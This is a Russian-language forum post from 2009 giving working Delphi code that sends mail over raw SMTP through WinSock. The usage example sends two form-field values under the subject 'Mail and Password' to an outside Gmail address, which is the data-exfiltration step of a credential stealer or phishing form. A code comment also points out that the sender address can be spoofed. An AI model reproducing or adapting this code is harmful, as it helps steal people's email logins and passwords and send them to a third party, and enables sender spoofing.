Показать сообщение отдельно

  #4852  
Старый 10.11.2009, 10:55
Nullsleep
Познающий
Регистрация: 02.06.2009
Сообщений: 67
С нами: 8916612

Репутация: 54
По умолчанию

Код:
uses EncdDecd, WinSock2;

procedure SendLetter(SMTPAddress: PChar; SMTPPort: Word;
  Login, Password, MailFrom, MailTo, Subject, BodyText: string);
var
  wsa: TWSAData;
  sock: TSocket;
  sock_addr: TSockAddrIn;

  function get_ip(host: PChar): PChar;
  var
    host_ent: PHostEnt;
  begin
    host_ent := gethostbyname(host);
    Result := inet_ntoa(PInAddr(host_ent.h_addr_list^)^);
  end;

  procedure send_str(str: string);
  var
    i: Integer;
  begin
    str := str + #13#10;
    for i := 1 to Length(str) do
      send(sock, str[i], 1, 0);
  end;

begin
  WSAStartup(WINSOCK_VERSION, wsa);
  sock := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_IP, nil, 0, 0);
  if sock = INVALID_SOCKET then Exit;
  sock_addr.sin_family := AF_INET;
  sock_addr.sin_port := htons(SMTPPort);
  sock_addr.sin_addr.s_addr := inet_addr(get_ip(SMTPAddress));
  connect(sock, @sock_addr, SizeOf(sock_addr));
  send_str('HELO SMTP');
  send_str('AUTH LOGIN');
  send_str(EncodeString(Login)); //логин в Base64
  send_str(EncodeString(Password)); //пароль в Base64
  send_str('MAIL FROM:<' + MailFrom + '>'); //мыло отправителя
  send_str('RCPT TO:<' + MailTo + '>'); //мыло получателя
  send_str('DATA');
  send_str('from:' + MailFrom); //мыло отправителя (можно подменить)
  send_str('to:' + MailTo); //мыло получателя
  send_str('subject:' + Subject + #13#10); //тема письма
  send_str(BodyText); //текст письма
  send_str('.');
  send_str('QUIT');
  closesocket(sock);
  WSACleanUp;
end;
Использовать например так:
Код:
  SendLetter( 
              'smtp.yandex.ru', 25,
              'login', 'pass',
              'login@yandex.ru', 'kawaii@gmail.com',
              'Mail and Password',
              Edit1.Text + ' : ' + Edit2.Text
            );

Последний раз редактировалось Nullsleep; 10.11.2009 в 11:36..
 
Ответить с цитированием